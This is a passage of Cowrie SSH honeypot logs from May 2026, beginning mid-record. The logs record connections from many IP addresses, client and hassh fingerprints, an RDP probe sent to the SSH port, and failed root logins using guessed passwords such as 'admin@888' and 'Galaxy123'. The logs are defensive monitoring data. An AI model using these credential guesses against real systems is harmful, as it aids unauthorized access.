fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:55.115652Z","src_ip":"43.128.102.61","session":"97d236cca613","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"glen123","message":"login attempt [root/glen123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:56.092535Z","src_ip":"43.128.102.61","session":"97d236cca613","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:51:57.332040Z","src_ip":"43.128.102.61","session":"97d236cca613","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":37578,"dst_ip":"159.203.135.109","dst_port":22,"session":"c23f04875745","protocol":"ssh","message":"New connection: 103.77.175.15:37578 (159.203.135.109:22) [session: c23f04875745]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:24.476083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:24.482036Z","src_ip":"103.77.175.15","session":"c23f04875745","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:24.743833Z","src_ip":"103.77.175.15","session":"c23f04875745","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"121212a","message":"login attempt [root/121212a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:25.539005Z","src_ip":"103.77.175.15","session":"c23f04875745","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:26.802531Z","src_ip":"103.77.175.15","session":"c23f04875745","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.173.38.229","src_port":46410,"dst_ip":"10.17.0.5","dst_port":22,"session":"24ae6bd9779c","protocol":"ssh","message":"New connection: 62.173.38.229:46410 (10.17.0.5:22) [session: 24ae6bd9779c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:41.144472Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:41.148666Z","src_ip":"62.173.38.229","session":"24ae6bd9779c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:41.313107Z","src_ip":"62.173.38.229","session":"24ae6bd9779c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Galaxy123","message":"login attempt [root/Galaxy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:42.147948Z","src_ip":"62.173.38.229","session":"24ae6bd9779c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.66.52.41","src_port":10339,"dst_ip":"10.17.0.5","dst_port":22,"session":"95666ed3a646","protocol":"ssh","message":"New connection: 45.66.52.41:10339 (10.17.0.5:22) [session: 95666ed3a646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:42.176342Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:42.181050Z","src_ip":"45.66.52.41","session":"95666ed3a646","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:42.361503Z","src_ip":"45.66.52.41","session":"95666ed3a646","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"87654321","message":"login attempt [root/87654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:43.115609Z","src_ip":"45.66.52.41","session":"95666ed3a646","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:43.367578Z","src_ip":"62.173.38.229","session":"24ae6bd9779c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:44.298994Z","src_ip":"45.66.52.41","session":"95666ed3a646","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":59103,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ca2f9055d3f","protocol":"ssh","message":"New connection: 152.42.212.128:59103 (159.203.135.109:22) [session: 8ca2f9055d3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:58.257585Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:58.261937Z","src_ip":"152.42.212.128","session":"8ca2f9055d3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:52:58.265418Z","src_ip":"152.42.212.128","session":"8ca2f9055d3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.245","src_port":54302,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d857824b619","protocol":"ssh","message":"New connection: 181.188.176.245:54302 (10.17.0.5:22) [session: 9d857824b619]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:06.499513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:06.503771Z","src_ip":"181.188.176.245","session":"9d857824b619","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:06.667346Z","src_ip":"181.188.176.245","session":"9d857824b619","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@888","message":"login attempt [root/admin@888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:07.352858Z","src_ip":"181.188.176.245","session":"9d857824b619","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:08.520103Z","src_ip":"181.188.176.245","session":"9d857824b619","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.102.61","src_port":33752,"dst_ip":"10.17.0.5","dst_port":22,"session":"4a83c41087cf","protocol":"ssh","message":"New connection: 43.128.102.61:33752 (10.17.0.5:22) [session: 4a83c41087cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:11.800056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:11.804581Z","src_ip":"43.128.102.61","session":"4a83c41087cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:12.049747Z","src_ip":"43.128.102.61","session":"4a83c41087cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@888","message":"login attempt [root/admin@888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:13.064993Z","src_ip":"43.128.102.61","session":"4a83c41087cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:14.314660Z","src_ip":"43.128.102.61","session":"4a83c41087cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.183.219","src_port":56040,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcd6dc4719a7","protocol":"ssh","message":"New connection: 103.75.183.219:56040 (159.203.135.109:22) [session: bcd6dc4719a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:33.398647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:33.403292Z","src_ip":"103.75.183.219","session":"bcd6dc4719a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:33.656083Z","src_ip":"103.75.183.219","session":"bcd6dc4719a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"skorpion","message":"login attempt [root/skorpion] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:34.414883Z","src_ip":"103.75.183.219","session":"bcd6dc4719a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:35.670943Z","src_ip":"103.75.183.219","session":"bcd6dc4719a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.19.117.129","src_port":38342,"dst_ip":"159.203.135.109","dst_port":22,"session":"d33f84d1b84f","protocol":"ssh","message":"New connection: 139.19.117.129:38342 (159.203.135.109:22) [session: d33f84d1b84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:47.247507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:47.251889Z","src_ip":"139.19.117.129","session":"d33f84d1b84f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f1e5e9d24e5e345e8745613bde22d532","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","arcfour","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f1e5e9d24e5e345e8745613bde22d532","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:47.355450Z","src_ip":"139.19.117.129","session":"d33f84d1b84f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:53:c2:45:64:14:44:b5:bb:23:e7:0e:f1:43:d2:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIHOZv7Y48fd8PViQw8eOnHzHW2ma+L9ATe2qfrvUvEsBgKG5sjQ95gsgbzQzsPvzutkesAuECtD3oj/USIe4eOqyOh/HG1a6MKuflXM3qQUEDaniKYYl2ppofsPdmI5bcgv/lY2ld44CeYIoPnO/FdSUcvNebbIQRkBmbekb+4uSKKOrSdRAuYYAOvLlPYXIcNHWF6pQMfTtqnM3G/hGf2htD0m4N5BuQqV4a5T3nvFnige9wBVCAg2jHOPD4Mx4UGbfG9LaR12rQ9KM0Gv5IDItdV14M81vSshwLBo0EvWYu5WgNoH34xJfRk21U469ve9Ve4AbP4K2Mbo3lSAsH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 92:53:c2:45:64:14:44:b5:bb:23:e7:0e:f1:43:d2:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:47.559688Z","src_ip":"139.19.117.129","session":"d33f84d1b84f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:53:c2:45:64:14:44:b5:bb:23:e7:0e:f1:43:d2:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIHOZv7Y48fd8PViQw8eOnHzHW2ma+L9ATe2qfrvUvEsBgKG5sjQ95gsgbzQzsPvzutkesAuECtD3oj/USIe4eOqyOh/HG1a6MKuflXM3qQUEDaniKYYl2ppofsPdmI5bcgv/lY2ld44CeYIoPnO/FdSUcvNebbIQRkBmbekb+4uSKKOrSdRAuYYAOvLlPYXIcNHWF6pQMfTtqnM3G/hGf2htD0m4N5BuQqV4a5T3nvFnige9wBVCAg2jHOPD4Mx4UGbfG9LaR12rQ9KM0Gv5IDItdV14M81vSshwLBo0EvWYu5WgNoH34xJfRk21U469ve9Ve4AbP4K2Mbo3lSAsH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T23:53:47.563548Z","src_ip":"139.19.117.129","session":"d33f84d1b84f","protocol":"ssh"}
